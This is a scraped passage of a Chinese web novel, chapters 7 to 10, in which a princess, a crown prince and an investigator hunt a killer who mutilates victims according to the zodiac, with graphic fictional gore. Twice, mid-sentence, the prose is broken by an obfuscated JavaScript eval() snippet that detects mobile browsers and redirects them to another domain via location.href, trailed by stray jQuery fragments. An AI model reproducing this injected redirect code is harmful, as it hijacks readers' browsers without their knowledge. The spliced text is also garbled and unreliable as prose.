一记携着微风的清雅音质荡来,字字铿锵,掷地有声,袭击着薄弱柔软的心田。 是听了一遍就会幻想对方五官容貌的绝美嗓子。 这不是老板的声音,绝对不是。 人群很识趣地从中间分开一条笔直宽敞的道路,恭恭敬敬退到两侧,给来人留出走动的距离。 来人一袭红袍,腰束黑玉蹀躞,蹀躞上面挂了大小不一的香囊荷包,玉环玉玦,走起来一路香气萦绕,叮叮当当地响。 袍子垂下,一双黑靴裹着精健有力的修长小腿,动静间,如同画中美人复活,俊朗脱俗。 他手擎一把小臂长短的黑柄匕首,信步走至,衣袂浮动,夺人眼球。 眉宇轩昂,眸色澄澈,唇边笑意淡淡。 一队灰衣捕快随他而来,疏通着挤挤挨挨的多余百姓。 红袍男子走到落花啼面前,俯身一礼,温煦道,“警世司司主花辞树见过公主殿下。” 落花啼微怔,心道这男子完全是能媲美曲探幽容貌气度的绝色,令人心脏鼓跳。吞一口灼热的唾沫,讶然道,“无需多礼,你是……警世司是什么官职?” “回公主殿下,警世司是国主设立的襄助各府衙门查案审讯的独立官部,乃在衙门之上。” 他巨细无遗地解释,望见落花蕊之后,用同样的礼数道,“见过花蕊公主。” 落花蕊点一点头,笑而不语。 花辞树对落花王室中人了如指掌,想必家族势力也不容小觑,只可惜落花啼仿佛从来没有见过他。 回归正题。 落花啼疑惑道,“花司主,你方才说,在羊面怪物前头,还有鼠面,牛面,虎面,兔面,蛇面……本公主听着,怎么有点像十二生肖的排序?” “公主聪慧,罪犯的确是按十二生肖作序,除了他抓不到真正的‘龙’,这些‘动物’他都认真的以人为基础制作出来了。” 花辞树笑意流转,眼睛凝在落花啼脸庞上,道,“公主殿下,那些生肖怪物的尸体皆收在义庄暂存,公主可要看看?” 许久不出声的曲探幽抢一步道,“在哪?” 花辞树扬眸,与曲探幽四目相对,默一秒,恍然大悟道,“恕在下眼拙,不识曲朝的太子殿下。”躬身施礼,身段昳丽,秀色可餐。 曲探幽嗤了嗤,冷冷道,“孤问你,义庄在何处?” “太子殿下勿急,我会带你们去瞧瞧的。” 花辞树命令手下把羊面怪物用草席子捆好,装上小板车推走,安抚了酒楼老板,富家公子和百姓,让他们闭上嘴巴,不要传得人尽皆知。 随后带领落花啼,落花蕊,曲探幽,银芽,入鞘等人赶往花落知多少城外的一座义庄。 颠簸了半个时辰,一行人下马的下马,下车的下车,陆陆续续停在义庄门口。 花辞树一边启锁,一边讲着十二生肖怪物的故事,音色悦耳,如听仙乐,他眉眼弯弯,“公主殿下有所不知,此生肖凶手不但依着十二生肖的顺序来杀人,还按照被杀人的属相来实施恶毒手段。” “难不成,死的怪物人正是符合了他们各自的属相?” 落花啼和曲探幽几乎异口同声,两人说罢,齐齐瞪了对方一眼,不自在地站远几寸。 7. 纵有万千语 第七章纵有万千语 (蔻燎) 花辞树瞭了落花啼几眼,敛眸,扯扯嘴角,“嗯,没错。所以死的人,他们的年龄大不相同。” “第一位死者,是刚满十二岁的少年,他属老鼠,他的脸上被缝了几只老鼠脸,屁-股上缝了鼠尾,实在可怜。他死了之后,被抛尸的地方是在一间粮仓里,老鼠嘛,除了偷油偷米,还能做什么?这生肖杀手倒也是‘因相制宜’了一番。” “过了十二日,屠宰场内出现一具‘黄牛’尸体,是一名十三岁的少年;又过十二日,大道中间摆了‘老虎’尸体,意为‘拦路虎’,是一名十四岁的少女;再过十二日,酿紫居里出现“兔子”尸体,是一名十五岁的少女。酿紫居是什么?公主殿下,这是一家专门为富贾官员上献‘宠物兔’的地方。” 铁锁“咔嚓”一声打开,推动两扇厚厚的木门,木门发出苍老的惨叫,“嘎吱嘎吱”绕人心魂。 花辞树命捕快掌灯,捕快们熟稔地点燃火把,所视之景明晰不少。他踱步在前引路,徐徐道,“世界上没有龙,所以生肖杀手略过了龙。后来,他把‘蛇’的尸体抛在街头表演的养蛇人屋里,那是十七岁的少年,他把‘马’的尸体丢进练马场,那是十八岁的男子。而今天——他将‘羊’尸体藏在了‘全是羊’的酒楼牌匾之后,讥讽羊生下来就是被吃的结局。” “就这样,生肖杀手半年多一共杀了七个人,全数把尸体折磨成不伦不类的模样,手段残忍,人神共愤。” 花辞树来到义庄储放尸体的门前,足底顿住,叹息道,“若不能将这惨无人道的畜生捉出来,警世司还有何颜面保护天下百姓?” 义庄内的味道腥臭刺鼻,发酵的血水和腐烂的人肉养出了灰黑毒雾,稍不注意便易窒息难捱,昏死过去。 花辞树贴心地叫捕快拿出备用的黑绸分给众人,及时堵上口鼻,护住呼吸。 落花啼接过便戴上了。 落花蕊自幼畏惧死物,死活不敢进去,守在义庄外的马车里不出来,落花啼吩咐银芽跟上去陪伴落花蕊,不必进来一睹死者芳容。 银芽到底只是落花王宫的乖顺婢女,何曾见过这么多怨气滔天的尸体,瑟瑟发抖,巴不得不进义庄,提着裙子跑走。 睥睨花辞树递来的黑绸,曲探幽视而不见,单手拿过入鞘双手奉上的一张浅黄色丝绸蒙在脸上,眼底的倨傲呼之欲出。 花辞树悄然撇嘴,收回黑绸给自己覆上,他指挥着随之而来的捕快与仵作将今日发现的“羊尸”抬入义庄正屋。 一群人擎着火把,在摇摇晃晃的火光下走至屋内。 义庄最大的一间屋子里,横七竖八搁置了七座劣质木头建造的粗糙棺材,在寒冷的夜风吹拂下,散发着浓烈的死气。 屋内左右开了两扇大窗户,近乎占了一面墙,为的就是透风通气,挥发尸体日渐腐败的恶臭。 七具棺材中塞的尸体依次是“鼠尸”、“牛尸”、“虎尸”、“兔尸”、“蛇尸”、“马尸”。 还有最新鲜的“羊尸”。 落花啼在花辞树一一介绍下,凑近仔细观察了每一个尸体的外形。 尸体们被裹在不同的尸袋里,一个一个剥开看,皆是被缝上了十二生肖动物的脸皮和尾巴,狰狞恐怖。 为了防腐,尸体全身抹了特制的黝黑药草,更显得像地狱里的魑魅魍魉,形容槁木。 与在花落知多少城内所见情况不同,棺材里的尸体被摆放的直挺挺,手脚并在两侧,面目朝上。不是首尾相连抱成一团的姿态,显然是警世司想办法把他们手脚给分开了。 于是,暴露出他们血淋淋的胸膛腹部,手臂大腿。仔细端详,不难看出每一具尸体身上皆有或多或少的皮肉丢失的痕迹。 一绺绺人皮活生生让刀剑割下来,伤口处深红发黑,外皮干硬翻滚,里肉凝住血液,像极了斑马的条纹,不忍细视。 落花啼骇然,额上冒汗,“他们身上的皮还被揭走了?这是何用?” 花辞树偏头对视落花啼,莞尔,有问必答道,“回公主殿下,许是生肖杀手单纯的一种凌-辱方式也未可知。” 落花啼压下腹部的恶心欲-望,指着那具“羊尸”,痛心疾首道,“大抵是吧。不过,花司主,以你所言,这‘羊’应该是十九岁的人,那么生肖杀手下一个目标必然是属‘猴’的二十岁之人,你以为如何?” “公主洞幽烛微,言之有理。” 花辞树将火把插在棺材缝儿里,眉若远山横,鼻梁眼眶被柔暖的灯光刻下晦暗的阴影,他摩挲下巴,道,“生肖杀手每隔十二日便抓捕下一个对象,利用对方匹配的属相开展屠杀,因此,我们必须在十二天内逮住生肖杀手,阻止他出手杀死‘猴’。” 话语一休,耳畔激起一道讥讽的笑声,促狭道,“若如此,你岂不是有六七次的十二日?这么长的时间都未能抓住所谓的生肖杀手,看来警世司也不怎么警世,白撑干饭了?” 曲探幽丹唇外朗,皓齿内鲜,谈吐间难掩天姿贵气,却不知嘴里的话是那般的毒辣无情。 花辞树噎了噎,碍于曲探幽异国太子的身份,隐忍不发,面向落花啼道,“公主殿下,此前我曾命令下属追查各个抛尸之地,所得线索渺茫,惭愧不已。杀手心迹诡谲,常在夜里骤现,来去无影,因而多日下来仍无法顺藤摸瓜追索生肖杀手躲身的地点。” 义庄里的尸体一经报案便有百姓过来认领丢失的亲人,虽然尸体的面容被毁,但依旧能从其他特点识别是否为失踪的亲人。 花辞树坦言生肖杀手未能抓捕,这些十二生肖尸体就暂留义庄保管安置,不忙着急急下葬。 为了安抚百姓,他自掏腰包发放抚恤银两拖延时日,久而久之,百姓们也慢慢不那么执着快点入土为安,只等着何时能得到凶手落网的消息。 落花啼若有所思,笃定道,“来去无影,想来他的武功极高?非是普通人。” 看着仵作在检验“羊尸”,疑虑重重,又道,“能看出这尸体死了多久吗?” 仵作戴了手套认真翻看“羊尸”的胳膊腿脚,听见落花啼的话语,受宠若惊道,“公主殿下,此人周身未生尸斑,手脚相对柔软,还没成僵硬之态,应是今夜刚刚殒命的,生肖杀手刻意在灯火辉煌前把尸体塞在了‘全是羊’酒楼的匾额之下。夜间百姓拥堵热闹,不抬头是难以发现匾额下藏了人,只不过碰巧有一位公子脸上滴了血,才提前让这可怜人被发现。” “他果真是属羊的十九岁之人?” “公主,不出意外他便是十九岁,他的骨骼,牙齿,肌肤皆是符合年轻人的,也和前几天来官府报失踪的百姓提供的信息相吻合。” 落花啼点点头,扫视一眼花辞树,忧心道,“花司主,抚慰百姓家属一事有劳你了——眼下,离生肖杀手挑选新对象,制作‘猴尸’只有十二日,我们得尽快统计花落知多少城里的二十岁属猴的年轻男女,夜里实施宵禁,不准他们单独夜出。” “如此一来,怕是我的情况也有点危险了。” 花辞树答应着,蓦地抛出似笑非笑的一句话。 落花啼还待询问话中深意,下一秒,义庄的房顶上炸起一串脚底碾碎厚瓦的锐响,一声清脆的“卡啦”,随之而来的是一束银白的月华自高空婉转泄下,诡异至极。 众人不约而同抬眸往上,瞧准事物,无一不震撼当场,不可思议。 “龙……龙!” “哈哈哈哈哈!龙,是龙!” 尖厉非人的阴沭沭笑声铺天盖地砸了下来,环绕梁柱,不亚于魔音贯耳,闻者寒毛倒立,苦不堪言。 义庄的上方现出一只大黑手掀开了房瓦,逆 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千钧一发之际,曲探幽冲来举手一捞,拦腰把落花啼掉下去的身体稳稳拽进胸怀,瞥视,“你不必去追,待着别动。” 落花啼哪里肯在曲探幽眼前跌面子,落了下风? 拔出绝艳,当着曲探幽变幻莫测的表情,两剑将碍眼的裙子斩断到膝盖,轻飘飘一丢,嗤了嗤,斜剑收鞘,理都不理对方,紧着速度去跟花辞树的背影。 曲探幽不语,迎上前与落花啼并排飞跃,一金一红的两道身形,时而交织,时而避远,如同流星坠落,各有命运。 落花啼边跑边躲着曲探幽,故意拉开两人的距离。 耳畔“叮叮当当”一阵响,她转头望去,便见曲探幽腰上挂着的两枚玉镶金的龙形玉佩因动作而撞出紧凑的响音,像敲击编钟,像山涧飞泉,也像古琴低啸,极度引人注目。 她醍醐灌顶,讶异道,“龙……难道方才生肖杀手看见的龙是你腰间的龙形玉佩?” 看来,十二生肖里捉不住的“龙”成为了生肖杀手的独特心魔? 曲探幽低头瞅了瞅玉佩,理解了落花啼的意思,“玉佩不是真龙,他若把玉佩当成龙,岂不是脑子有病?” “……” 懒得跟曲探幽逞口舌之争,落花啼白眼翻滚。 一群曲兵执着火把翻山越岭,在入鞘的带领下追踪生肖杀手的痕迹。 落花啼好不容易靠近了花辞树,却见花辞树停在一处黑糊糊的山峦前,与一黑影厮打连天,兵戈相交,碰出划破天幕的寒光。 绝艳出鞘,横劈竖砍,落花啼扑进圈内跟那黑影打斗,刀剑乱舞,应接不暇。 近在咫尺间,落花啼注目定睛,竟见黑影身披斗篷,斗篷下的四肢躯干生满了密密麻麻的皮屑,一堆一堆,动静时皮屑随人蹁跹,恍如长了无数张小翅膀。 莫名恶心。 斗了须臾,生肖杀手势头不减,毫无以一敌多的窘迫,愣是被落花啼和花辞树左右夹击也不慌不忙,含糊不清,摇头晃脑道,“哈哈哈哈哈,龙,龙呢?我的龙呢?我的龙……” 一语未罢,曲探幽出现插-了一句,“你想要龙?来孤这里。” 厮杀圈外的曲探幽抖着二郎腿坐在一山坡巨石上,一手半举,指间垂下两条栓着金线的龙形玉佩,玉佩上雕刻的腾龙造型栩栩如生,达到以假乱真的地步。 生肖杀手一听曲探幽发话,鬼鬼祟祟瞄见对方手里的玉佩,目眦欲裂,欣喜若狂,甩起两脚踢开落花啼和花辞树。 疯疯癫癫跑到曲探幽面前,乖乖捧着双手,撕心裂肺地尖叫道,“给我!给我!把龙给我!你们谁也别想得到龙,谁也别想!” 曲探幽晃一晃金光灿灿的龙形玉佩,瞳孔森然,诱惑道,“想要?跪下来求孤。” 8. 落红非无情 第八章落红非无情 (蔻燎) 生肖杀手未曾感觉到曲探幽在赤-裸裸羞-辱他,黑眸闪光,不假思索“噗通”一下双膝敲地,笔直地跪在曲探幽脚边。 脸庞上层层叠叠的皮屑更显他面目可憎,活像个山头野人。 “给我,给我,把龙给我!” “好,孤给你。” 曲探幽掀唇,勾出一抹狡黠凛冽的冷笑。 他风轻云淡地将玉佩递近几分,在生肖杀手目光如炬,翘首期盼的当儿,抬脚狠狠一踹,一举踹倒生肖杀手。 一柄黑墨似的重剑从背后旋出,自上而下捅入生肖杀手的腹腔。 速度迅疾得肉眼难以捕捉。 “噗!” 生肖杀手身中一剑,后知后觉明白曲探幽在戏耍他,眸孔猩红,怒不可遏,伸手砸出一拳去轰曲探幽的胳膊,自个儿用力挤出肚子里的墨剑。爬起来,血肉模糊道,“你敢骗我!我最讨厌有人骗我!啊啊啊啊!” 怒发冲冠,周身颤抖。 完全不似正常人,疯癫得可怕。 他神色骤变,鼓腮暴吼,取下大刀拼了命与曲探幽乒乒乓乓地扭打,血水飚溅,浑身的皮屑翩翩起舞,俨然一只丑陋的大怪物。 曲探幽毫不客气,招招狠毒,反手一剑削断生肖杀手的半个肩头,生肖杀手痛鸣一声,捂着肩膀步步后退。一拧身,与紧随其后的落花啼,花辞树面对面相撞。 双花抖剑斩去,血雨腥气扑面涌来,生肖杀手被连捅了两剑,唇齿渗血,眸珠微曳,似乎力有不逮。 三人死死围着生肖杀手,密不透风,一副务必捉拿于手的斗志状态。 生肖杀手敛息,左顾右盼,察言观色每人的表情,在众人出乎意料之时“哇”的一声嚎啕大哭,眼泪珠子和鼻涕吊坠糊了一脸,脏不可言。他期期艾艾道,“疼,我疼,为什么要打我……爹,爹,你什么时候来救孩儿……他们打我,好疼,疼死我了!” 落花啼纤颤羽睫,芒刺在背道,“喂,你哭什么?” 你还有脸哭? 生肖杀手道,“你们打我,你们还要杀我,我不明白,我不明白做错了什么……” 落花啼道,“你杀了七个活生生的百姓,你说本公主为何想杀你?” “什么杀了七个人?我根本就不会杀人,我只是看见了他身上有金龙,这才追着你们来到那间臭烘烘的屋子,我什么也不知道,你们却以多欺少来对付我,爹!爹!你来带我回家……爹!”他说着,食指戳了戳曲探幽的方向,无辜地缩着脖颈。 花辞树以剑尖挑起生肖杀手斗篷下的皮屑,未语先笑,“那你解释解释你身上的这些东西是什么?何处来的?” 生肖杀手见花辞树看上他的皮屑,脱了斗篷,扒下身外的一套拿针线缝合的皮屑衣服,瑟瑟发抖道,“我不知道,这是我捡来的,你要是喜欢就给你了。” “何处捡的?” “花落知多少。” “花落知多少?花落知多少那么大,你具体在何处捡的?”花辞树弯腰拾起那触感怪异的皮屑衣,俯视着生肖杀手。 生肖杀手脱掉斗篷和皮屑衣,身子骨瘦弱矮小,比落花啼还矮了一截,左看右看也是一位年龄不及十六的半大小子,怯怯地望着逼拢的众人,畏葸道,“就在,就在一间大宅子的墙根下,宅子外面有两座石狮子,我不识字,不晓得那宅子叫什么名字。” 落花啼道,“你的话本公主将信将疑,这样吧,你带我们去花落知多少找一找那大宅子,如何?” “我疼,我好疼啊!我爹知道我被你们这么打,他会杀了你们的!” 生肖杀手摇摇头,缩成一团,双手堵着汩汩淌血的腹部,在凉风裹挟下,冷得战栗,唇色发紫。 记起他身受重伤,唯恐他一命呜呼,落花啼看向曲探幽,道,“你的士兵有绷带吗?帮他止血包扎。” 曲探幽不答一词,斜睨一旁的入鞘,入鞘悄悄“啧”一声,领了两士兵去给生肖杀手包扎。 生肖杀手不言语,坐在草地里闭目养神,嘴角一抽,忍着疼痛让入鞘清理伤势。 落花啼问道,“你多大了?叫什么名字?脸上的皮屑也一并取下来吧,看着很恐怖。” 生肖杀手低低道,“我长得不好看,还是不露出来了。” “……那你今夜除了想要金龙,还想做什么?何以身上携带刀剑?” “你们何以携带刀剑?” “我们乃习武之人,正常不过。” “哦,那我也是。” 眼见对方把天聊死,落花啼胳膊环胸,走开几步不搭理他了。 落花啼,曲探幽,花辞树凑一块商议将生肖杀手拎回花落知多少,天亮之后让他一个一个去看城中的大宅子,若有蹊跷之处,直接顺势拿下宅子里的人。 嘀咕半晌,一道伤耳的惨叫刺穿天宵,令人毛骨悚然。 一回头,两名给生肖杀手包扎的士兵脸孔上扎了数根银针,正中眉心,硬是把他们定在地面上,动弹不能。 入鞘相比之下敏捷几分,险之又险地躲过一劫,惊骇道,“太子殿下,他跑了!他肯定不是良善之辈!” 目力所及,黛黑的崎岖深山一望无际,生肖杀手那抹神龙见尾不见首的影子刹那间融入山林,混同一体,难以找寻。 地上只剩下一件黑斗篷,一套皮屑衣,还有那腥臭的斑驳血水。 曲探幽讥诮,“他口口声声说孤骗他,他骗人的伎俩也不赖。” 又道,“入鞘,继续搜,把整座山翻个底朝天,也得给孤揪出他来!” “是!太子殿下!” 入鞘俯首抱拳,扬扬手臂,携了一群曲兵摸黑去追伺机逃跑的生肖杀手。 落花啼勃然大怒,气鼓鼓道,“他胡言乱语,就是想混淆视听,错让我们以为他是好孩子。” “公主殿下,生肖杀手躲进深山,恐怕不太好逮住……公主,你看,他的皮屑衣有何处不一样?” 花辞树摊开手心,一坨薄厚适中的灰黄色皮屑衣漫着歹毒的恶臭,防不胜防地袭击鼻孔。 曲探幽站在落花啼身边,瞭了一瞬,下定结论,“这不是衣服。尸体上不翼而飞的丝缕皮肉,不就在此?” 果然。 花辞树手里的皮屑衣不是其他,乃是十二生肖怪物裸-尸上被生肖杀手精心割下来的寸寸人皮。 落花啼忍住呕吐的欲-望,不堪细想,愤懑不平,“他为何要剥人的皮?难不成,他是故意用这些人皮制作衣裳?既然要制衣服,何以不全部剥下来?” 花辞树将皮屑衣卷了卷封装入一个黑囊袋子,眉峰蹙死,“大抵是吧,不过这衣裳制得也忒难看了,跟蛇的鳞片无异,由此可见那生肖杀手的穿衣品味 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15810644|175219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不高,极其不高。” 他们将剑擦拭干净,重新收罢,打算原地逗留等待入鞘的回音。 一曲朝士兵从义庄的位置疯狂跑来,疾呼道,“出事了!出事了!太子殿下——花蕊公主中毒了!” 那士兵是曲探幽留在义庄外守护落花蕊与银芽的一波人的其中之一。 落花啼一怔,跨步跑去,难以置信,“什么?花蕊怎会中毒,她不是待在马车内的吗?” 曲朝士兵看了看曲探幽和落花啼,如履薄冰地答复,“太子殿下,春还公主,你们自义庄出来的动静惊扰了花蕊公主,花蕊公主害怕你们出事,就下了马车想追上来看看。不料义庄周围突然蹿出一条五颜六色要捕鼠吃的毒蛇,花蕊公主焦急下车之时不小心踩了那只蛇的尾巴。那蛇就赖着不走了!” “我们想办法赶它走,它非但不走,还唤了数不胜数的一窝毒蛇,把马车给围了起来,花蕊公主大惊失色,躲避良久还是被毒蛇攀着脚踝咬了一口!现在士兵们正拿火把驱蛇,还是无济于事!” “……毒蛇?” 落花啼呼吸一窒,不及思忖,拔腿便跑,风急火急地往义庄去。 曲探幽,花辞树心知人命关天,亦是懈怠不得,赶忙回到义庄。 义庄门口的马车四周蜿蜒着手腕粗细的蛇群,成包围之势把落花蕊和银芽二人堵得水泄不通,逃匿不了。 银芽手指按挤着落花蕊高肿的脚踝,远远一见落花啼平平安安归来,喜极而泣,“公主!公主!二公主被蛇咬了,你快救救她!” 嘴唇青紫的落花蕊倒在银芽怀里,死气沉沉,满鬓珠翠也同主人一样黯然失色,蒙上憔悴。 落花啼瞪着那群熟悉又陌生的蛇,一股凶猛的气流直冲脑门,使得她神智发昏,思虑不到其他的。她冷冷喝令道,“给本公主滚!敢咬本公主的妹妹,你们都不怕死吗?滚!滚回山林!” 一声咆哮,震耳欲聋。 那群立头嘶嘶的毒蛇周身弥漫着淡淡的苦酒香,似乎是刚刚从酒罐里钻出,味道腥辣。它们望见落花啼,俨遭雷击地僵硬几秒,晃悠脑袋交流着,同时打定了主意,窸窸窣窣朝着一片密林爬去。 土路上丝滑得印下弯弯曲曲的蛇行轨迹,像天神的眉毛,更像死神的镰刀。 聚拢的众人完整地瞧见落花啼三言两语便轰退了蛇流,面面相觑,瞠目结舌。 落花啼没时间思量这些,钻入马车,为落花蕊挤着污血,一团一团粘稠的黑血溢出脚踝,染脏了落花蕊蓝紫色的裙子,她隐隐眉目耸动,昏沉道,“太子殿下……” “……” 落花啼手指一滞,闭了闭双眼,压抑道,“花蕊,不会有事的,我们回落花王宫解毒,好不好?” 她放软喉音,心疼道,“你想跳下马车,到底是担心我的安危,还是担心曲探幽?” 曲探幽不值得你动心,他不值得任何人动心的。 抹掉汹涌的泪珠,落花啼让银芽照顾落花蕊,亲自驾马朝花落知多少奔策,一泼灰烟滚滚掩在马车尾后。 “公主殿下,等等我!”花辞树脚下生风,跑进义庄吩咐下属看好七具尸体,跨上马背,一骑绝尘而去。 曲探幽留下一波士兵等待入鞘归来,翻身跃马,手持鞭绳。 临走之前,他缄默地凝望了一眼蛇群逃离的痕迹。 轩眉抑制不住拢了拢。 9. 春泥更护花 第九章春泥更护花 (蔻燎) 来到落花王宫时,东方既白,天边破晓。 清晨的阳光垂直打下,灼烤眼球。 落花啼背着落花蕊亟不可待进入落花王宫,招了几名厉害的女医师检查落花蕊的伤口。 医师花了半个时辰才将落花蕊体内残留的毒素全部清出,抓了草药仔细煎熬,喂落花蕊服下。 此事闹得王宫上下人尽皆知,国王落花啸和王后花汲人遣人日夜照顾落花蕊,并且明令禁止落花啼,落花蕊两姐妹再出王宫,多生事端。 落花啼若要出宫帮曲探幽找龙鳞花,也只能跟着曲探幽出去,没有曲探幽相伴,落花啼不必要跑出王宫抛头露面。 嘴上答应,心里是再三拒绝的。 落花啼心道,我出不出落花王宫还得看曲探幽的脸色?我不高兴,他的龙鳞花一辈子也找不到。 谁看谁脸色还说不准呢。 在等落花蕊醒来的日子,落花啼回忆起义庄外驱蛇的画面,头皮发麻,心慌意乱,不知曲探幽有没有发现她的不对劲。 偶尔碰面曲探幽,落花啼永远是正眼不看对方一下,靠近曲探幽就是靠近瘟疫,躲还躲不及。 三日后,落花蕊醒转。 落花啼在西风愁坞的空地上习练剑术,大汗淋漓,正是兴头上,“刷刷”的剑刃破风之音贯入耳膜,铮然刺痛。 脚步声橐橐,银芽眉开眼笑跑过来禀告二公主的病情。 心湖一荡,落花啼柔柔含笑,如释重负,赶忙休剑收鞘,不及放下剑就直奔沁冰阁。 沁冰阁是落花蕊在王宫的居所,宫殿外围种了满满当当的蓝紫色交错的绣球花,微风漾起,花儿滚出深海般的波澜,香远益清,颇为赏心悦目。 殿内的婢女望见落花啼,一律齐声喊道,“长公主万安!” 落花啼点点头,步幅加速,几下跳过长阶,转了两处抄手游廊,方一步入寝屋,脑子顿时遭了当头一棒。 呆滞不动,局促难安。 手心的绝艳“啪”地跌在地面,敲出震耳欲聋的脆响。 急急忙忙追上来的银芽弯腰捡起绝艳,顺着自家主子的视线瞭去,饶是吓了一跳。 落花蕊的寝屋里帷幔飘飘,迎风摇曳,其后影影绰绰,有两抹身形紧紧依偎,暧昧不清。 大病初愈的落花蕊病容未褪,秀眉似颦若颦,双目润水,唇色苍白,几绺乌黑的细发蜿蜒在肩头胸前,莫名多了些俏丽,惹人垂怜注目。 她的鬓发不簪一朵鲜花,不插一支金钗,素雅清妍,整个人像雨折风摧的冰色雪莲,泛着莹白的苍苍光芒。 而她依靠着的男子一身奢华贵气的浅金色龙袍,腰间别了两枚打造精致的龙形玉佩,玉佩上镶嵌了几颗金珠,璀璨夺目。 长腿微敞,密绣龙纹的靴子在光影下反着寒意。 此时侧着脸庞,似乎在盯着虚无处走神。 他听见落花啼进来的动静,斜睨一眼,黑眸幽深。 落花啼喉头一动,“花蕊。” 她不顾曲探幽射来的目光,兀自走过去推开碍眼的他,怒瞪道,“你想做什么?男女授受不亲,你为何来花蕊的寝屋?不怀好意!你想毁了她的清誉,还是想布下其他恶心的计谋?” 落花蕊被落花啼拉入怀里,左看右看观察姐姐的表情,她摇摇头,有气无力,“阿姊,我很好,蛇毒全数逼-出体外了……是我想见见太子殿下,你不要怪罪他,他来了之后只是坐着陪我,一字不语,也未曾动手动脚。” 她也明白私自和长姐的未婚夫独处一室不大合适,但她按捺不住心底的躁动,就是想醒来便看见曲探幽。 落花啼半信半疑,猜忌的眼神鞭笞着曲探幽的周身,冷嘲热讽,“本公主怎么不知堂堂曲朝的太子殿下会随叫随到?花蕊想见你,你就乖乖地过来?” 寻一把软椅落座,翘上二郎腿,悠闲地脚尖一抖一抖,曲探幽非怒却笑,见缝插针说着刻薄的话,“春还公主,你这般在意此事,孤是否能理解为,你在吃醋?” “笑话,太子殿下的脸皮比腌菜坛子还厚,本公主吃谁的醋也不可能吃你的。” “不脸厚点,如何得到春还公主的芳心呢?” “本公主没有心,更没有芳心,请回吧!” 落花啼瞥一眼沁冰阁寝屋的大门,盛怒勃勃地下着逐客令。 曲探幽默然,饮下一口温热的茶水,搁了碗盏,站起来拍拍衣袖,径直走了出去。 曲某人前脚刚走,落花啼后脚就捧着落花蕊的身体,把人搂得越发紧,红唇贴在对方耳畔,郑重其事道,“花蕊,我不管你喜欢曲探幽哪一点,是身世,还是皮囊,我都得告诉你——不要靠近他,离他越远越好。他……不是你能相伴到老的良人,你换一位男子喜欢,可不可行?” “……阿姊,你近段时日怎番变了一个人,你之前也爱慕太子殿下,每每同我分享他的故事,你忘了?我不明白,你为何一夕之间就改观了对他的看法,是发生了什么事?如果不曾发生什么事,难道,难道阿姊是害怕我抢了你的夫婿,所以才说出这些荒诞的言辞。” 落花蕊不禁苦笑,挣扎着远离落花啼的怀抱,直勾勾凝视她的姐姐,字字诛心,句句锥血。 落花啼吃惊自己被亲妹妹冷漠地推拒开,她愣了愣,揉揉眉心,低叹一气,半晌道,“花蕊,我从来不怕你抢走曲探幽,因为他在我这里,根本不属于我,我也不敢要。以前是我年幼,不谙世事,跟着大流去爱慕过他。可那并不是真正的喜欢,更何况,现在我不喜欢他。我说这些话,只是想你选择一个对的人,后半辈子性命无虞,安安稳稳,不受一点伤害。” 谈起前世的某些愚蠢做法,落花啼真想抽自己一百个大耳刮子。 前世她的确曾对曲探幽起了一丝丝绮念,待她遭遇了恐怖的灭国之恨,黍离之悲,她追悔莫及,别说爱慕曲探幽了,她将其千刀万剐的心思都登峰造极。 一席话,一大半没入落花蕊的耳朵,一大半又顺着微风吹到了角落里积灰。 落花啼无可奈何,安抚了对方半刻,喂她喝了药。命令一众婢女好好照顾,嘱咐她们等国王王后来看落花蕊的时候,不能提方才的场面一个字。 沁冰阁的婢女连连应和,送了落花啼和银芽出门。 踏步出来,落花啼一旋身,就与沁冰阁殿外身姿挺拔,贵气不凡的曲探幽四目相撞。 一袭龙袍裹身的曲探幽背对着蓝紫色绣球花海,愈发衬得他丰神俊朗,举世无双,堪称为天下一绝的美男。 若他不是灭国仇人,落花啼还真保不准会动情爱上他。 心知肚明曲探幽不会说走就走,瞧见对方果然候在外头,落花啼嗤之以鼻,她堂而皇之在曲探幽面前翻了好几个大白眼。 曲探幽道,“孤是爱屋及乌,你怜爱你的妹妹,孤亦然。” “你的意思是,你是因为本公主才答应来沁冰阁看望花蕊?” “确实如此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“太子殿下!你没事吧?”入鞘对曲探幽行礼,面向落花啼,气得腮帮子鼓圆了,道,“春还公主。”打他的主子,不就是打他吗,气死了。 曲探幽想起正事,有意移开话题,“找到了吗?” 入鞘整理措辞道,“回太子殿下,这几天属下带着人马在义庄周围的那座山按照血迹寻找生肖杀手,但地面上的血迹被处理过,找了一半就断在一处。我们便扩大范围,折腾许久,在哀悼山斜对面的荒岭捡了一块皮屑。” 他拿出袖口塞着的巴掌大的黄灰人皮,递近给落曲二人看。 是生肖杀手皮屑衣上面的死人皮。 落花啼抓了重点,“荒岭?哀悼山?你是说在哀悼山附近的荒岭捡的人皮?” 入鞘扁扁嘴,不乐意的表情,“是,我们还在哀悼山的山脚遇见了几名小道童,本想进山找一找,那些道童屡屡阻拦,便不得已回来了。” 哀悼山和灵暝山毗邻,皆是道教修行的绝佳好地方,两山多年来保持着不温不火的尴尬关系,双方形成了分庭抗礼之势。你不接近我,我就不接近你,你若来犯我,我必全力回击。 难不成,生肖杀手是从哀悼山里跑出来的? 他口口声声叫着爹,说不定他的爹就是哀悼山上的厉害角色。 皮屑是在荒岭捡的,大抵是障眼法,生肖杀手不一定就是消失于荒岭,很可能声东击西躲入了哀悼山。 10. 何解生死愁 第十章何解生死愁 (蔻燎) 落花啼一手握拳,敲砸在另一手掌中,来回几下,她呢喃,“哀悼山设有门禁,非王公贵族不得入内,父王母后要进去还得提前告知,寻常百姓们便不消说了,必然进不去。” 